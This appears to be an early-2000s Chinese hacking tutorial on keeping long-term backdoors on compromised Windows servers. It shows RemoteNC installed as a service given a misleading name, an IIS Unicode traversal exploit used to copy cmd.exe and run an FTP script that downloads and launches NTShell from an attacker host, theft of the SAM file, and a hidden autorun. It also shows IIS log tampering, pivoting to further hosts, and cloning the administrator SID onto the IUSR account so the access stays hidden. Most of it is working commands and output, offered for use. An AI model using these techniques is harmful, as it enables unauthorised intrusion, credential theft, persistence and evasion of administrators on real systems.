一、利用长久服务:
前段时间做了一些肉鸡做跳板,辛辛苦苦上传了很多文件,但使用不到几天就被K了,漏洞也补上了,后来干脆不用跳板了!结果警告来了!痛定思痛!如何在肉鸡上留下后门达到长期使用的目的呢?今天早上在网上找了一早,也没有找出什么有用的东西!还是自己动手吧!我门通常使用nc,ncx,netcat等东西来开后门,但这些后门只是临时的,,主要用于得到Admin权限,能不能留下长期的后门呢?能!
我在这里介绍的只是如何制作后门,不打算介绍如何得到Admin权限!至于如何得到Admin,方法很多!U,SQL,溢出、ipc管道、暴力…………单有一点是肯定的,要留后门,必须有Admin权限。
我打算介绍用两种方法,确切的说是用两个软件!
第一:用小榕的remotenc。第二,用NT Shell 1.0 Beta,这两个软件的共同点是都能作为服务运行在远端服务器上!我使用下来感觉差不多!不过ntshell的功能远不止开后门,呵呵!很强大的工具!可以得到asp文件!这对想破江湖的人可是…………
再强调一点,one:太容易进入的主机不要作自己的跳板(除非你进去后留下后门把漏洞给补上)two:速度太慢和小型http服务器不要作自己的跳板。three:进入得到Admin权限后接下来要作的事:留后门--》做代理(就是snake的那个)--》补漏洞
以上三点属个人意见,供参考!
好了,说了半天的废话,我们开始用小榕的remotenc做我们的第一个跳板!
假设我们已经得到192.168.0.1的admin权限,user:hack password:123,并且192.168.0.1支持ipc$远程连接!(呵呵!废话!不能连接怎么作跳板!)在自己c:\hack下有remotenc,好,开始
c:\hack\remotenc 192.168.0.1 hack 123 runasuser "RemoteNC" "Provide Local CMD Redirect" 7 91888
解释:
remotenc 目标主机 用户名 密码 启动模式 "服务名称" "服务说明" 监听的端口
控制密码 /overwrite(注:可以不加该参数)
其中:
用户名必须是admin权限
启动模式有runasuser和localsystem两种(建议用runasuser模式,如果runasuser模式失败就用localsystem模式)
服务说明是启动后显示在服务管理器中的说明,为了迷惑管理员,建议不要用“hack”之类
监听的端口是remotenc作为服务启动以后开的监听端口,可以是7、8等,但不要是21、23、25、80等
控制密码:你telnet(或者ntshell)到监听端口后需要的密码,也就是你对remotenc的控制密码。(这里就不要要了哈!别这么小气三)
/overwrite覆盖已经安装的remotenc(不要覆盖我的哈)
回车后出现如下信息:
=======RemoteNC Beta 4, Written by Assassin 2001=======
http://www.netXeyes.comhttp://www.netXeyes.org
[Install Service as RunasUser Mode]
Connecting 192.160.0.1 ..... Done.
Transffer File ..... Done.
Start Service ..... Done.
Now You can Telnet 192.168.0.1 to Connect, Have a Joy
也可能出现:
=======RemoteNC Beta 4, Written by Assassin 2001=======
http://www.netXeyes.comhttp://www.netXeyes.org
[Install Service as RunasUser Mode]
Connecting 192.168.0.1 ..... Done.
Transffer File ..... Done.
Start Service ..... Service Exsited,1206Failed.
这是启动服务失败
这是可以把安装模式换为localsystem,即
c:\hack\remotenc 192.168.0.1 hack 123 localsystem "RemoteNC" "Provide Local CMD Redirect" 7 91888
就能安装成功!
如果出现第一中情况,祝贺你,然后
Microsoft Telnet> open 192.168.0.1 7
正在连接到192.168.0.1 7...
然后出现:
RemoteNC Control Password:(这里输入你的控制密码91888)
然后出现:
RemoteNC Control Password: *********
===============Banyet Soft Labs. 1995-2001 All RightsReserved.===============
=========Written by Assassin, Server EditionFluxShadow@21cn.com==============
Microsoft Windows 2000 [セ 5.00.2195]
RemoteNC>
哈哈,可以添加用户了!net命令就不用说了哈(即使hack 123的账户被K了,仍然可以telnet到7在remotenc下添加用户,只要他不发现在服务管理器中的Provide Local CMD Redirect,你就一直都有自己的账户!)拷贝必要的文件上去!twwwscan等(注意隐蔽),或者fshttp,fspop也加上去,哈哈真的很爽!也可作成自己的sock5代理。
添加完用户,启动他的telnet服务如果没有启动的话),又可以继续运行你的twwwacan等东西了!
第二种方法,利用NT Shell 1.0 Beta
为了讲述ntshell的详细用法,我详细讲述
一、ntshell分为客户端和服务端!服务端的名称为ntshell.exe,客户端ntshellc.exe
二、ntshell的语法:
内建的命令都是以'?'开头,在命令行上输入'?help'可以查看命令帮助列表,命令不分大小写。共有以下几个命令,其中由于标准的telnet不支持文件传输,因此前两个命令就是文件互传,必须使用附带的客户端才能实现。同时虽然在文件传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前一个get,put,httpget命令没完成,就不能再执行这3个命令中的任意一个),这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如果有必要,以后可以考虑。
?autorun [name file "args"] --- 将本程序添加到自动运行,将检查所有已知位
置(先是注册表);name是一个项名,file是程序名(当然也可以是其他
程序),args是程序的参数列表,一定要用""括起来。缺省是NTKernel
ntshell.exe "-w 10"。
?canceldata --- 终止刚才传输的文件
?chdir --- 更改服务器的当前目录,不加参数查看当前目录,可以是网上邻居中的共享
?get [port] --- 从服务器下载文件,可以指定使用服务器使用[port]端口传输
?help --- 查看命令帮助列表
?httpget --- 从 'host'主机上下载文件 'url', 必须以根'/'开始
例如httpgethttp://192.168.0.1 / hackdir/hackprog.exe,可以没有http://
?pskill PID --- 杀死指定PID的进程
?pslist --- 列出当前系统中的所有进程,如果是guests组可能很多进程不能获得详细信息
?put [port] --- 上传文件到服务器,可以指定使用服务器使用[port]端口传输
?quit --- 服务器端退出,相当于使用exit命令,不过如果执行
了copy con abc这样的坏内部命令,你就不能在使用exit命令
了,可以使用quit退出
?restart [ [pass]--- 以user身份重启动shell,不过本版本只能重起
shell,不能以指定的用户运行。原因是使用CreateProcessAsUser创建进
程时权限不足,即使原来是admin也不行
?sysinfor --- 获得系统的信息,现在只有os的简短信息
程序支持的参数为(使用'?use'参数可以查看该列表,不使用‘/?’或‘-?’来实现是因为一旦把它留在服务器上,敌方运行该程序查看到程序功能的话,就糟了)
ntshell [-listen Listenport] [-time Timeout] [-pass Password] [-show] [-wait WInterval] [-until time] [-last LInterval]
-listen Listenport --- 指定监听的端口,缺省值是22
-time Timeout --- 指定超时的秒数,缺省值是180
-pass Password --- 指定连接的口令,如果含有空格,使用" "包含口
令; 缺省值是"let me in"
-show ---显示一个console窗口,用户可以通过关闭该窗口结束本程序
-wait WInterval ---在程序运行后,先等待WInterval分钟,然后监听端口
-until hour:minu --- 在程序运行后,直到hour:minu时才监听端口
-last LInterval --- 在程序监听端口后,如果LInterval分钟内没有连接,将
结束程序
最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进程
三、ntshellc的用法:
在没有连接的情况下,提示符是NTShellc>,此时可以使用以下的3个内建命令,命令均为小写。命令可以简写。
h[elp] ---- 显示支持的命令列表
o[pen] [port] ---- 与target的port进行连接,port缺省值是22
q[uit] ---- 退出本程序
程序支持的两个参数,可以使用标准的'/?'参数查看该列表。如果不提供参数将进入NTShellc>提示符,然后可以使用open命令进行连接。
ntshellc [Target] [Port]
[Target] ---- 要连接的服务器
[Port] ---- 要连接的端口
四、实例
--NTShell使用示例
本示例仅为示范NTShell的功能与语法,因此使用unicode漏洞进行攻击试验。其中以'//'开头的行是我的注释,其他的是程序的输出。
//在本机运行客户端,
F:\hacktool\ntshell>ntshellc
NtShell Client Program.
> Type Help to see the commands
//连接目标计算机的www服务
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.
//请求一个已知的文件
GET /iissamples/default%c1%1csamples.asp /HTTP/1.0
//找不到文件,IIS4.0,应该是%1%9c,
HTTP/1.1 404 找不到对象
Server: Microsoft-IIS/4.0
Date: Sat, 10 Feb 2001 15:08:26 GMT
//再来,
NTShellc>o 192.168.0.1 80
> Connect to 192.168.0.1 at Port 80 ...
> Connected with the server.
GET /iissamples/default%c1%9csamples.asp HTTP/1.0
//行了,找到了,
HTTP/1.1 200 OK
//下面要试试,哪些web目录在和系统在同一个逻辑盘上
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
//找到了,就用它了
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Directory of C:\Inetpub\scripts
01-01-09 02:58p .
01-01-09 02:58p ..
00-08-28 05:30p proxy
00-08-28 05:30p tools
4 File(s) 241,424 bytes
850,3XX,416 bytes free
> Connection closed
NTShellc>o 192.168.0.1 80
//拷贝cmd.exe
GET /scripts/..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+copy+\winnt\system3
2\cmd.exe+dmc.exe
//不理它, 1 file(s) copied. 没有访问拒绝就行
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 09:47:20 GMT
Content-Length: 190
Content-Type: text/html
CGI 运用程序中出错
CGI 错误指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是: 1 file(s) copied.
> Connection closed
//下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧,
GET /scripts/dmc.exe?/c+echo+open+192.168.0.45>ftp.bin
GET /scripts/dmc.exe?/c+dir
GET /scripts/dmc.exe?/c+echo+anonymous>>ftp.bin
GET /scripts/dmc.exe?/c+echo+test@test>>ftp.bin
GET /scripts/dmc.exe?/c+echo+binary>>ftp.bin--//一定要有这步,不然有的运行不正常
GET /scripts/dmc.exe?/c+echo+get+ntshell.exe>>ftp.bin
GET /scripts/dmc.exe?/c+echo+quit>>ftp.bin
//看看文件内容写的对不对,
GET /scripts/dmc.exe?/c+type+ftp.bin
HTTP/1.1 502 网关错误
Server: Microsoft-IIS/4.0
Date: Wed, 07 Feb 2001 14:57:14 GMT
Content-Length: 232
Content-Type: text/html
CGI 运用程序中出错
CGI 错误指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正
常。它返回的标题是:open 192.168.0.45
anonymous
test@test
get ntshell.exe
quit
> Connection closed
//好的,执行ftp
GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin
GET /scripts/dmc.exe?/c+dir
Directory of C:\Inetpub\scripts
01-02-07 10:58p .
01-02-07 10:58p ..
98-11-11 04:04a 241,424 dmc.exe
01-02-08 12:24a XX ftp.bin
01-02-08 12:25a 53,248 ntshell.exe
00-08-28 05:30p proxy
00-08-28 05:30p tools
7 File(s) 294,736 bytes
854,074,368 bytes free
//执行ntshell,
GET /scripts/ntshell.exe HTTP/1.0
//ctrl+c结束这个连接,退出程序。
//再次进入
F:\hacktool\ntshell>ntshellc
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
let me in
Use 'net helpmsg xxx' to see detail message of Error Code.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
//看看它的系统,
C:\Inetpub\scripts>?sysinfor
# Operation System is Windows NT 4.0,
# Build Number:1381
# Service Pack 4
//nt4+sp4的,去看看log文件
C:\Inetpub\scripts>cd c:\winnt\system32\logfiles
C:\WINNT\system32\LogFiles>cd w3svc1
cd w3svc1
拒绝访问。
//得,还没的看,以后再说吧;
C:\WINNT\system32>cd ..\repair
C:\WINNT\repair>dir
00-03-31 09:15p 3,544 sam._
//虽然有用的可能性很小,不过还是那回来试试吧,
C:\WINNT\system32>?get \winnt\repair\sam._
> download file 'sam._' 3544 bytes complete success.
//看看它都运行了什么程序,
C:\WINNT\system32>?pslist
# EnableDebugPrivileges Error, Code:1300
Process ID: 2 Query Process Detail infor Error
Process ID: 25 Query Process Detail infor Error
Process ID: 33 Query Process Detail infor Error
...
Process ID: 565 Query Process Detail infor Error
Process ID: 572 C:\Inetpub\scripts\ntshell.exe
Process ID: 466 C:\WINNT\System32\cmd.exe
# Total 42 processes in system.
//喔赛,都看不了,还有个1300是什么错误?用net看看
C:\WINNT\system32>net helpmsg 1300
net helpmsg 1300
并非所有被引用的特权都分配给调用者。
//看来guest的权限实在太小了,好在知道ntshell和它的cmd进程id,不行了可以杀
C:\Inetpub\scripts>?help
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
[file] default is ntshell.exe
//可以自动运行,要试试,
C:\Inetpub\scripts>time
time
当前时间: 5:33:27.32
输入新时间:
//它的时间和我的差不多,行了
C:\Inetpub\scripts>?autorun ntshelld ntshell.exe "-until 2:00 -pass "a b c" -last 60"
# file 'C:\Inetpub\scripts\ntshell.exe' has added to autorun at
C:\WINNT\Profiles\All Users\「开始」菜单\程序\启动\ntshelld.lnk
//看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,好了,等着系统重起动吧
//(一定注意参数作为一个字符串,使用" "括起来,不然可能就不对了。这个参数的意思是“程序//运行后,直到夜里2点开始监听连接,持续60分钟,连接后使用a b c作为口令”)
C:\Inetpub\scripts>del ftp.bin
C:\Inetpub\scripts>exit
NTShellc>q
//破解完了sam._,用里边的密码进行,net use无效,看来这个密码文件没什么用了,
//过两天在夜里2点到3点之间进行连接,看看成功否
NTShellc>o 192.168.0.1
> Connect to 192.168.0.1 at Port 22 ...
> Connected with the server.
//连上了,ok
a b c
C:\>cd winnt\system32\logfiles
C:\WINNT\system32\LogFiles>cd w3svc1
C:\WINNT\system32\LogFiles\W3SVC1>?get C:\WINNT\system32\LogFiles\W3SVC1\ex010205.log
//把记录改改,再给他put回去
C:\WINNT\system32\LogFiles\W3SVC1>?put ex010205.log
//好了,这台机器行了,在加个admin组的用户,
//把ntshell的客户端拿过来,再看看其他机器,
C:\WINNT\system32\LogFiles\W3SVC1>cd \inetpub\scripts
C:\Inetpub\scripts>?put ntshellc.exe
//运行它,
C:\Inetpub\scripts>ntshellc
NTShellc>o 192.168.0.45 80
> Connect to 192.168.0.45 at Port 80 ...
> Connected with the server.
GET / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location:http://192.168.0.45/index.html
//嗯,是台win2k+iis5, 如发炮制。
NTShellc>NTShellc>q
C:\Inetpub\scripts>
//想办法上传ntshell,并运行它,然后运行ntshellc进行连接
C:\Inetpub\scripts>ntshellc
NTShellc>NTShellc>o 192.168.0.45
> Connect to 192.168.0.45 at Port 22 ...
> Connected with the server.
D:\Inetpub\Scripts>cd \
cd \
//取看看log文件,是我连接的,还是192.168.0.1
D:\>cd winnt\system32\logfiles
cd winnt\system32\logfiles
D:\WINNT\system32\LogFiles>
D:\WINNT\system32\LogFiles>cd w3svc1
D:\WINNT\system32\LogFiles>cd w3svc1
D:\WINNT\system32\LogFiles\W3SVC1>D:\WINNT\system32\LogFiles\W3SVC1>type ex010208.log
D:\WINNT\system32\LogFiles\W3SVC1>type ex010208.log
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2001-02-08 02:04:40
#Fields: time c-ip cs-method cs-uri-stem sc-status
10:11:34 192.168.0.1 GET /index.html 200
D:\WINNT\system32\LogFiles\W3SVC1>time
time
当前时间: 10:18:42.97
输入新时间:
D:\WINNT\system32\LogFiles\W3SVC1>exit
exit
> Connection closed
NTShellc>NTShellc>
//ok, telnet跳板基本还可以,就是有时输出重复,一般一个命令得回车两次
二、克隆帐号
1...经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。
首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。
运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的"1F4"修改为"3E9"后执行
regedit /s adam.reg
导入该Reg文件
然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)
OK,大功告成...
这样,我们拥有和默认管理员一样的桌面、一样的Profile.....
而且,当我们运行 net localgroup administrators 时,看看结果:
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
再看看USER2SID的输出结果:
C:\>user2sid Administrator
S-1-5-21-1004336348-1078145449-854245398-500
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
C:\>user2sid iusr_machinename
S-1-5-21-1004336348-1078145449-854245398-1001
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)
很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName被提升了权限。
现给出解决办法。
方法同上,不过这次修改内容多一些。即
这次要导出两个key内容:
一个是adam提到的
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
然后另外一个是你需要修改那个账号的值
regedit /e iusr.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9
然后按照adam提到的修改adam.reg
“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID”
现在,你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“"V"=hex:0”开始一直到iusr.reg文件结束部分复制下来
然后替换掉adam.reg中同样位置的部分
最后使用
regedit /s adam.reg
导入该Reg文件
呵呵,别忘了给这个IUSR_MachineName改密码哦。
hehe,ok,大功告成。
现在IUSR_MachineName账号拥有了管理员的权限,但是你使用net.exe和
管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。
都和修改前没有任何区别。
2...利用 CA.exe: http://www.heibai.net/download/show.php?id=2360
利用SA.exe 将Iusr_victim克隆为Administrator。
C:\>ca \\192.168.0.1 test test iusr_victim password
Clone Administrator, by netXeyes 2002/04/06
Written by netXeyes 2002, dansnow@21cn.com
Connect 192.168.0.1 ....OK
Get SID of iusr_victim ....OK
Prepairing ....OK
Processing ....OK
Clean Up ....OK
这时,iusr_victim就成为了超级用户,并有具有和Administrator同样的设置(桌面、菜单等等)。
-------------------------------------------------------
用CCA.EXE检查是否存在克隆的帐号。
不必改变ACL, 支持远程检查。
C:\>cca \\192.168.0.29 administrator 123456
Check Clone Account, by netXeyes 2002/04/29
Written by netXeyes 2002, dansnow@21cn.com
Connect 192.168.0.29 ....OK
Prepairing ....OK
Processing ....OK
Checking ....
Check Result:
[DuDu] AS SAME AS [administrator]
[Guest] AS SAME AS [administrator]
[IUSR_RONG] AS SAME AS [administrator]
[IWAM_RONG] AS SAME AS [administrator]
[TEST] AS SAME AS [administrator]
[xr] AS SAME AS [administrator]
[Guest] AS SAME AS [DuDu]
[IUSR_RONG] AS SAME AS [DuDu]
这上面的DuDu,guest,IUSR_RONG等帐户就已经是被克隆为administrator啦 |